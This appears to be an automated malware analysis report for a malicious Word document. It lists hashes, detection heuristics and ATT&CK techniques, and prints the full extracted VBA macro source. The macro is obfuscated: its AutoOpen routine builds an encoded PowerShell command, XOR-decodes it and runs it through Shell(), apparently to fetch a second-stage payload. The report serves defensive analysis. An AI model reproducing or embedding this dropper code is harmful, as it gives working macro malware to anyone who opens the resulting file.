Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0c020b0cf77f0ba7…

MALICIOUS

Office (OLE)

87.0 KB Created: 2018-06-24 20:56:00 Authoring application: Microsoft Office Word First seen: 2018-07-04
MD5: 1bd4cd2420bf6013a945430fead11491 SHA-1: 7d8abcdc54d51343c0b80886c3adb91329718d20 SHA-256: 0c020b0cf77f0ba79d1acb0eac7c43c79f8447756045295935fc1c3f72e7713f
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. A critical heuristic firing indicates a Shell() call within the VBA code, and another critical firing confirms VBA p-code execution with execution tokens, specifically using the AutoOpen macro to execute Shell(). This strongly suggests the macro is designed to download and execute a second-stage payload. The ClamAV detection also confirms its malicious nature.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6589268-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6589268-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    plKaaU = (65491 / CBool(56437) + 65981 + CSng(bdcGmC) * (18075 - ZrVjhs + 91875 - CLng(AoFXz)))
fzwnlUi = WFzfshO + rVGbWuaPJlF + Shell(vciXUGjSlnj + aUDoDWKtr + JoAFtLcuB, (85267 / 85267) - 1)
ufWDBL = CByte(72408 * Tan(80432) / 84951 + CLng(cncNtz * 86602 * 48999 * Chr(17706)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13328 bytes
SHA-256: 293ccd6b9038d1e8617163467582bbdb1d5e8e1e79e28ac2c970ab42118a1451
Detection
ClamAV: No threats found
Obfuscation or payload: likely
122 of 230 identifiers look randomly generated (e.g. 'bpGfElNOnwbjZi') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QdITzZNNNA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rZtivMUjWOuUm"
Function KWACFXA()
On Error Resume Next
nYIJB = (83882 / CBool(13470) + 98870 + CSng(cdFWKo) * (2595 - EIKZj + 85222 - CLng(RNCfob)))
PdGXR = CByte(76300 * Tan(46820) / 63546 + CLng(FYhZZk * 62571 * 26292 * Chr(70360)))
nVbNc = "He" + "ll" + "  " + Chr(40) + "'2" + "5X71X91" + "!12" + "6!0" + "_8"
pvjHZG = CByte(78523 * Tan(39880) / 31705 + CLng(SfspiN * 44041 * 96294 * Chr(21647)))
UcIol = (14007 / CBool(61825) + 40818 + CSng(oobKKb) * (27484 - PmXNpX + 59284 - CLng(BwSNj)))
iOZLfOjJ = "3<" + "88" + "q74_16<8" + "2{" + "95" + "!87"
CYPOh = CByte(70879 * Tan(54401) / 38626 + CLng(EjHXLU * 71626 * 80438 * Chr(97572)))
QaNvi = (9820 / CBool(57480) + 70600 + CSng(INHLHz) * (61309 - DCHmuW + 73400 - CLng(JipZnb)))
RkzuSw = "<88{9" + "4}7" + "3j2" + "9T115{88" + "{73{19j1"
aEIYwD = CByte(88035 * Tan(20060) / 12540 + CLng(Gtotma * 60671 * 12472 * Chr(63937)))
TwDVVE = (52486 / CBool(99918) + 41532 + CSng(oLzhsE) * (75270 - kwtbhi + 67068 - CLng(OOkot)))
kiqmLt = "06j88" + "{95" + "!126{81" + "{84T88" + "E83j73j" + "6_" + "25X77j7" + "7}100j0" + "q26X85" + "T73X7" + "3_"
idHzua = CByte(28986 * Tan(32137) / 20952 + CLng(QiVtV * 50113 * 23311 * Chr(447)))
FAprOZ = (74048 / CBool(21171) + 79442 + CSng(Pjhok) * (86200 - TFkwa + 83757 - CLng(UoppY)))
WWDwdWDk = "77_7!18<" + "18_74X" + "74}" + "74T"
KWACFXA = nVbNc + iOZLfOjJ + RkzuSw + kiqmLt + WWDwdWDk
pjinWc = CByte(20295 * Tan(8801) / 30830 + CLng(itlpT * 92334 * 39145 * Chr(29802)))
tBMAz = (90955 / CBool(59062) + 17531 + CSng(WZjwmA) * (57888 - YhtJdI + 16252 - CLng(TPFznu)))
End Function
Function UnZOlR()
On Error Resume Next
iEtzji = CByte(27411 * Tan(88398) / 36264 + CLng(jYqFp * 33882 * 77445 * Chr(92060)))
BiGwQt = (7235 / CBool(39107) + 56981 + CSng(ZLsczu) * (30181 - NHJOc + 57121 - CLng(vOXqzT)))
bJOipIpvYn = "19_94_82" + "T77X" + "73<84!9"
iuvfia = CByte(60761 * Tan(13120) / 92388 + CLng(ctPmi * 5670 * 22903 * Chr(3716)))
nGIZm = (3309 / CBool(55380) + 11648 + CSng(ijddM) * (78105 - nizKhu + 37795 - CLng(AhEnmF)))
NfsYEU = "4{77}82" + "T7" + "7T8" + "8<19" + "{82{79_" + "90" + "E18E10<" + "83_126}1" + "09T10" + "8X79}18" + "T1" + "25"
slJENt = CByte(18608 * Tan(47861) / 73415 + CLng(HGBwQI * 58554 * 63905 * Chr(77410)))
BjokWt = (75161 / CBool(37267) + 47391 + CSng(zpTPh) * (95972 - ihKCIb + 6380 - CLng(FAECW)))
hnZsoWzYXG = "X85_73" + "}7" + "3{77<7!1" + "8{18<7"
OaKNt = CByte(66522 * Tan(21045) / 12623 + CLng(dHtIq * 8419 * 51349 * Chr(87830)))
UirbtH = (72309 / CBool(61785) + 32685 + CSng(iQCaEE) * (18374 - UEZJu + 37358 - CLng(BaEowW)))
THoOoobfzM = "4}88" + "}75j8" + "4T86}19" + "}85q" + "72X1" + "8q82X" + "92!89E86" + "!126E"
zzKbz = CByte(4985 * Tan(19576) / 57689 + CLng(zdVCT * 49264 * 52586 * Chr(72232)))
zTNkV = (20787 / CBool(69342) + 46211 + CSng(rjjrUW) * (21947 - bQrKa + 99725 - CLng(vwBBL)))
istKkK = "76!18" + "E125{8" + "5X73!73T" + "77_" + "7E18" + "E18X87}" + "92q86j88" + "}84}" + "83"
UnZOlR = bJOipIpvYn + NfsYEU + hnZsoWzYXG + THoOoobfzM + istKkK
KOiNR = CByte(39361 * Tan(80028) / 16886 + CLng(ZiKpfq * 90157 * 16781 * Chr(53551)))
WzncJC = (3017 / CBool(46817) + 38063 + CSng(oZJiNa) * (90156 - VQWTBY + 43706 - CLng(NoYjo)))
End Function
Function kcbIwT()
On Error Resume Next
wIvPpz = CByte(53622 * Tan(35026) / 5183 + CLng(zUNYv * 98734 * 41275 * Chr(32164)))
sFVQC = (91883 / CBool(28475) + 11184 + CSng(oMAmLU) * (28661 - DzJarN + 80131 - CLng(lqjrbT)))
sKpVMkj = "T90}" + "81_8" + "8j78j19" + "E94!82<" + "80j" + "18X1" + "06{14q" + "94!74_18" + "}125E85" + "{73T73" + "}7" + "7E7!18_"
NajcWd = CByte(20901 * Tan(90887) / 43773 + CLng(iKMXz * 61351 * 98906 * Chr(63797)))
qJSzAs = (61248 / CBool(36568) + 33880 + CSng(fORVj) * (7145 - PFZzcj + 12871 - CLng(usbYp)))
BKjarMc = "18}74E" + "74{74{1" + "9q" + "86X92}72" + "{86j92{9" + "5!77T85{" + "68<78E" + "84" + "T92X73}7" + "9{68E" + "19q9"
tuDXH = CByte(94806 * Tan(68245) / 66267 + CLng(tSYpX * 10288 * 69415 * Chr(65446)))
RjQqz = (28787 / CBool(55510) + 22645 + CSng(FzDucO) * (34511 - lsKZTU + 65963 - CLng(TRTjL)))
NWRHGrjfR = "4E" + "82<80X" + "18{85_9" + "0<4" + "X90" + "{18}1" + "25X85!" + "73_73_" + "77X7!18" + "T18{74"
jViATm = CByte(45532 * Tan(15495) / 49982 + CLng(PJEPkq * 97485 * 96661 * Chr(32063)))
FLuGXv = (96050 / CBool(29414) + 65582 + CSng(izIcar) * (12420 - qEGUE + 5218 - CLng(QHuiLL)))
jhUXpqWH = "X7" + "4}74" + "!19_91" + "q9" + "2_94<88{" + "95!"
juOpFd = CByte(88608 * Tan(87413) / 53801 + CLng(QUWHs * 88825 * 17584 * Chr(4704)))
tdskGs = (51153 / CBool(12859) + 76642 + CSng(kWPvN) * (76499 - ZXTlii + 28007 - CLng(vwPfR)))
rJasB = "82" + "{8" + "2_86{" + "19}77"
pNiZX = CByte(10782 * Tan(95278) / 7934 + CLng(GzPiiB * 80941 * 96051 * Chr(29416)))
sYbwKK = (98883 / CBool(56665) + 59644 + CSng(tKaWH) * (6857 - AFHKDj + 90692 - CLng(UOHGN)))
ftTCWsiOVE = "}79!84q" + "83{73j72" + "}78T88{" + "79T19!83" + "{81j18X" + "89T85T6"
kcbIwT = sKpVMkj + BKjarMc + NWRHGrjfR + jhUXpqWH + rJasB + ftTCWsiOVE
QsCzHl = CByte(35621 * Tan(93569) / 69722 + CLng(ZINiOc * 94665 * 47445 * Chr(58385)))
PuDum = (78680 / CBool(85048) + 61483 + CSng(qwrWRJ) * (7923 - szkziv + 50357 - CLng(KowMG)))
End Function
Function YLzYi()
On Error Resume Next
rZiBjP = CByte(25435 * Tan(92432) / 23795 + CLng(HYVjk * 12213 * 47863 * Chr(2934)))
wAfGk = (96660 / CBool(57175) + 88450 + CSng(AuTjMf) * (98914 - UCSiv + 24683 - CLng(YWirm)))
mQzWtSaz = "9q8" + "7_18q" + "26X19q1" + "10!7"
URzjoW = CByte(49000 * Tan(27903) / 6179 + CLng(cdbnO * 96413 * 86539 * Chr(41338)))
PIcWL = (48990 / CBool(5283) + 76977 + CSng(iOQmH) * (87034 - UkhfQ + 73486 - CLng(ItKGZ)))
OhipjMfzi = "7E81" + "j8" + "4X73_21T" + "26q125j2" + "6q20!6" + "{2" + "5<10" + "5j1" + "14q1"
JAppz = CByte(4743 * Tan(7488) / 93443 + CLng(LCtpt * 50531 * 41947 * Chr(17654)))
caQVr = (41572 / CBool(74245) + 56044 + CSng(UcATcK) * (10902 - QjzlT + 89844 - CLng(OECow)))
DEvrt = "06<2" + "9X0" + "T29j26}4" + "<14"
YLzYi = mQzWtSaz + OhipjMfzi + DEvrt
rsvBY = CByte(33256 * Tan(23525) / 54345 + CLng(RJpWEp * 37773 * 84431 * Chr(7827)))
QhwhJ = (45950 / CBool(60847) + 16017 + CSng(zHmTzi) * (50035 - cLdiI + 3421 - CLng(KYvri)))
End Function
Function vquwMEOwzJ()
On Error Resume Next
jrbPRt = CByte(65607 * Tan(31342) / 61256 + CLng(lhEFp * 41589 * 22672 * Chr(83770)))
PjzKf = (42004 / CBool(15534) + 61255 + CSng(Xlcodf) * (15313 - qRZMN + 66033 - CLng(tTplwd)))
WZqqhIoSW = "T2" + "6X6X2" + "5<73E" + "85_1" + "16j0T25" + "T88T83<7"
duACNF = CByte(25714 * Tan(48955) / 26827 + CLng(hREzt * 4819 * 63439 * Chr(45087)))
bcaiCB = (1903 / CBool(22652) + 31842 + CSng(jWiAh) * (9976 - MONOja + 72410 - CLng(bjdjE)))
JPtRzaj = "5X7}73" + "j88j80" + "{77<22j2" + "6}97{"
jAojQ = CByte(34035 * Tan(15742) / 22528 + CLng(twstC * 10921 * 83644 * Chr(93057)))
EJzdiu = (3951 / CBool(78360) + 38754 + CSng(VXfLNC) * (53458 - zTzXmA + 94377 - CLng(OVmQYz)))
kQVZan = "26{22q25" + "T105E1" + "14X" + "106j22_2" + "6_19{88"
vquwMEOwzJ = WZqqhIoSW + JPtRzaj + kQVZan
JipwFP = CByte(4317 * Tan(61619) / 37315 + CLng(jjQcf * 28304 * 79318 * Chr(93132)))
TjEAj = (43252 / CBool(94097) + 63298 + CSng(fjCDC) * (42607 - wLYWL + 33136 - CLng(HiioHD)))
End Function
Function VuMVuid()
On Error Resume Next
orlba = CByte(28951 * Tan(21602) / 31390 + CLng(DWFNQk * 88654 * 12300 * Chr(87414)))
cEuTZ = (12656 / CBool(4525) + 87523 + CSng(SCipdW) * (43624 - MFwGO + 35087 - CLng(FnbANc)))
zdTlJwuzC = "!69j8" + "8{26" + "!6!"
tVHHw = CByte(33116 * Tan(10689) / 84889 + CLng(OoNzi * 24979 * 3037 * Chr(81257)))
dCjzQ = (25907 / CBool(73150) + 3708 + CSng(miBjU) * (98414 - qDBwH + 81829 - CLng(OtjIEb)))
lZwNpaVH = "91!" + "82!79{8" + "8E92X" + "94_8" + "5X21T25_" + "107j7" + "9}105T2" + "9T84" + "T83T29<2"
tXqYbD = CByte(31970 * Tan(20624) / 18459 + CLng(LkloJ * 13186 * 74307 * Chr(12034)))
ODuqEw = (96222 / CBool(75407) + 11520 + CSng(GjEha) * (84065 - JuYVhI + 96133 - CLng(nIusRB)))
AObuO = "5j77j77<" + "100!20{7" + "0j73X7" + "9_" + "68E" + "70j25}7" + "1}91{1" + "26}19j" + "121}8"
mjzkb = CByte(13730 * Tan(19585) / 56548 + CLng(vwWGQX * 31384 * 45300 * Chr(2277)))
DHRPju = (92741 / CBool(14215) + 34004 + CSng(DuoUOn) * (64469 - CQpsjO + 20371 - CLng(XMudB)))
sQvOH = "2j7" + "4<83" + "<81T" + "82!92" + "E89" + "{123_84" + "!81E" + "88!21T" + "25j107<7" + "9X10"
otBlX = CByte(93177 * Tan(68972) / 72510 + CLng(ZBAGv * 67210 * 21177 * Chr(70165)))
QkpwLY = (5168 / CBool(10343) + 18462 + CSng(kMnmv) * (15970 - WdLaj + 47542 - CLng(ttMIuz)))
Yfblj = "5_17X" + "29T" + "25E73" + "{85!116" + "<2" + "0{" + "6_" + "11" + "0!73E92" + "X79j73!"
VuMVuid = zdTlJwuzC + lZwNpaVH + AObuO + sQvOH + Yfblj
qKicw = CByte(72656 * Tan(69750) / 26728 + CLng(DACLrh * 37710 * 1628 * Chr(60269)))
IPttp = (3126 / CBool(68360) + 22688 + CSng(CSLtL) * (19298 - vTmAY + 22793 - CLng(lRmYf)))
End Function
Function RbwwQn()
On Error Resume Next
QGipb = CByte(82276 * Tan(90735) / 18539 + CLng(MpsFSA * 44460 * 97283 * Chr(35098)))
qqzPYj = (73228 / CBool(93085) + 83260 + CSng(cDcDt) * (27583 - jjvZZB + 1300 - CLng(mwMUq)))
waSXh = "16_109" + "E7" + "9j82q9" + "4T88q" + "78" + "<78}29E" + "25_73!" + "85E" + "116q"
qBhzWR = CByte(47387 * Tan(75478) / 84569 + CLng(WGnMsO * 13690 * 6648 * Chr(54473)))
ojRkQQ = (78303 / CBool(97706) + 98966 + CSng(lZcArL) * (93414 - ORXwar + 66898 - CLng(jwiPOz)))
lbSMpL = "6{95{7" + "9q88j92_" + "86T6{"
aMmPtk = CByte(19330 * Tan(45233) / 47537 + CLng(koubM * 98334 * 39900 * Chr(16039)))
AFrJaB = (62840 / CBool(69232) + 85135 + CSng(jXlil) * (96904 - MZdpi + 60737 - CLng(DkvXo)))
TwcGPSqzAw = "64_" + "94}9" + "2q7" + "3T" + "94!85T70" + "{64X64" + "'.SplI" + "T" + Chr(40) + "'<X!_" + "q{" + "jET"
Pnwtd = CByte(61902 * Tan(66867) / 76468 + CLng(WKTQi * 30491 * 52320 * Chr(86223)))
uEudwu = (43881 / CBool(50711) + 82077 + CSng(pFJvK) * (80543 - lWlBo + 73291 - CLng(EsAjEp)))
PJOsShVa = "}' " + Chr(41) + "|" + " % {" + "[ChAr] " + Chr(40) + " $_-bx" + "OR  " + "0x3"
RIwTzp = CByte(33756 * Tan(31095) / 43184 + CLng(LZJhaj * 77309 * 34146 * Chr(26532)))
lpOwXZ = (11278 / CBool(35618) + 13534 + CSng(GunVB) * (5540 - SNBjJo + 94942 - CLng(OrUVE)))
NzIrFllJrvU = "d  " + Chr(41) + "}" + Chr(41) + " -" + "jOI" + "N '' |" + " . " + Chr(40) + " " + Chr(40) + "[S" + "trIng]$V" + "ErbosEP"
zNrEb = (1736 / CBool(31988) + 92466 + CSng(ikzCl) * (77926 - pCBMIC + 82426 - CLng(VkiPb)))
CDHwqD = CByte(32695 * Tan(88175) / 83604 + CLng(ZVHnDN * 44190 * 46409 * Chr(86819)))
jHcZjDQtIMI = "Re" + "feReNC" + "E" + Chr(41) + "[1,3]" + Chr(43) + "'x'-j" + "oIN'" + "'" + Chr(41) + "  "
RbwwQn = waSXh + lbSMpL + TwcGPSqzAw + PJOsShVa + NzIrFllJrvU + jHcZjDQtIMI
tlQAAv = (44290 / CBool(56434) + 67079 + CSng(VAUdfh) * (79686 - ukVvL + 5227 - CLng(nuCKHN)))
WnlRn = CByte(13003 * Tan(92340) / 91447 + CLng(nKAdYB * 57670 * 16239 * Chr(41482)))
End Function


Attribute VB_Name = "bpGfElNOnwbjZi"
Function wsHDQuZisPK()
On Error Resume Next
ozirwQ = CByte(14741 * Tan(70918) / 56313 + CLng(SXRCZU * 70130 * 58078 * Chr(35507)))
mrvRz = (91685 / CBool(37120) + 56629 + CSng(vjlznp) * (12534 - ZRjwz + 28044 - CLng(lRWPL)))
sPNGchvXovl = tBsTiUrv + Chr(HosCoiZMv + 80 + QwdhR) + "ow" + "ers"
jrzwl = CByte(44008 * Tan(85411) / 68792 + CLng(GmdEv * 45013 * 28381 * Chr(11433)))
DRHvZ = (79746 / CBool(55948) + 57484 + CSng(iZDRCH) * (69079 - FrZwa + 92697 - CLng(NYfLs)))
zzSQQ = CByte(4871 * Tan(5629) / 4063 + CLng(EjIBF * 4769 * 34160 * Chr(94535)))
vpNin = (85780 / CBool(27594) + 55956 + CSng(mhAJR) * (72681 - BhGTQ + 70331 - CLng(XnkmVW)))
wsHDQuZisPK = KQaQlIBGhJ + sPNGchvXovl + KWACFXA + UnZOlR + kcbIwT + YLzYi + vquwMEOwzJ + VuMVuid + RbwwQn
mRdjH = CByte(13921 * Tan(82895) / 62182 + CLng(GEMLB * 97620 * 82050 * Chr(2319)))
rptpI = (73561 / CBool(96165) + 20425 + CSng(qrDFtH) * (39002 - ihtAjM + 98541 - CLng(CjIjlU)))
End Function
Function CGvYYOP(aUDoDWKtr)
On Error Resume Next
DtHBVA = CByte(72953 * Tan(67199) / 91713 + CLng(DMuld * 56400 * 58704 * Chr(84782)))
QUjDVI = (55549 / CBool(89544) + 25161 + CSng(CpbMW) * (40961 - oQaNi + 82718 - CLng(auiAo)))
mKwpt = CByte(35758 * Tan(62929) / 64417 + CLng(WDFUqb * 12216 * 15645 * Chr(66996)))
plKaaU = (65491 / CBool(56437) + 65981 + CSng(bdcGmC) * (18075 - ZrVjhs + 91875 - CLng(AoFXz)))
fzwnlUi = WFzfshO + rVGbWuaPJlF + Shell(vciXUGjSlnj + aUDoDWKtr + JoAFtLcuB, (85267 / 85267) - 1)
ufWDBL = CByte(72408 * Tan(80432) / 84951 + CLng(cncNtz * 86602 * 48999 * Chr(17706)))
vEBUG = (8124 / CBool(33106) + 59094 + CSng(TtXKj) * (21863 - SHwJqB + 85331 - CLng(wfbYF)))
End Function
Sub AutoOpen()
On Error Resume Next
PGmvU = CByte(94606 * Tan(49287) / 13941 + CLng(oURIjO * 38251 * 76421 * Chr(60391)))
IwLZdu = (23631 / CBool(94852) + 41259 + CSng(csZIZN) * (1254 - iAFcP + 21355 - CLng(CYiKzm)))
CGvYYOP (wsHDQuZisPK)
EriAAH = CByte(11965 * Tan(23777) / 13044 + CLng(TEwlR * 2658 * 96973 * Chr(57040)))
lvItji = (1121 / CBool(86014) + 51353 + CSng(hmVna) * (57118 - VitDh + 44493 - CLng(RIwCz)))
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.